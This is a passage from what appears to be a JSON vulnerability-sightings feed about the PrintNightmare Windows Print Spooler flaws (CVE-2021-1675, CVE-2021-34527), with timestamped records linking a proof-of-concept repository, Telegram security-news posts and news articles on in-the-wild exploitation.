Remote code execution in Windows Spooler Service\n\nSource : \nhttps://github.com/afwu/PrintNightmare", "creation_timestamp": "2026-09-11T01:00:04.123763Z"}, {"uuid": "19d71cfa-333d-4cb0-bc09-e72b8cef05f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/3623", "content": "\ud83d\udd25 WATCH OUT! Microsoft warns of critical PrintNightmare RCE vulnerability (CVE-2021-34527) being exploited in the wild.\n\nDetails: https://thehackernews.com/2021/07/microsoft-warns-of-critical.html\n\nIt is separate from the Windows Print Spooler issue (CVE-2021-1675) Microsoft patched recently.\n\n\nFBI and NSA reveal hacking techniques used by Russian military hackers to target U.S. and European military, government, and political entities.\nDetails \u2014 https://thehackernews.com/2021/07/nsa-fbi-reveal-hacking-methods-used-by.html", "creation_timestamp": "2026-09-11T02:00:04.963248Z"}, {"uuid": "9a028b45-4f44-47ab-893c-23826e2a4bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3613", "content": "\ud83d\udd25 Researchers publish a proof-of-concept exploit for a critical vulnerability (CVE-2021-1675) affecting Microsoft Windows operating systems\nDetails \u2014 https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html\n\nInternational law enforcement agencies seized the domain, servers and logs of the Russia-based DoubleVPN service for providing a safe haven for cybercriminals to cover their tracks.\nRead: https://thehackernews.com/2021/06/authorities-seize-doublevpn-service.html", "creation_timestamp": "2026-09-11T03:00:05.254267Z"}]}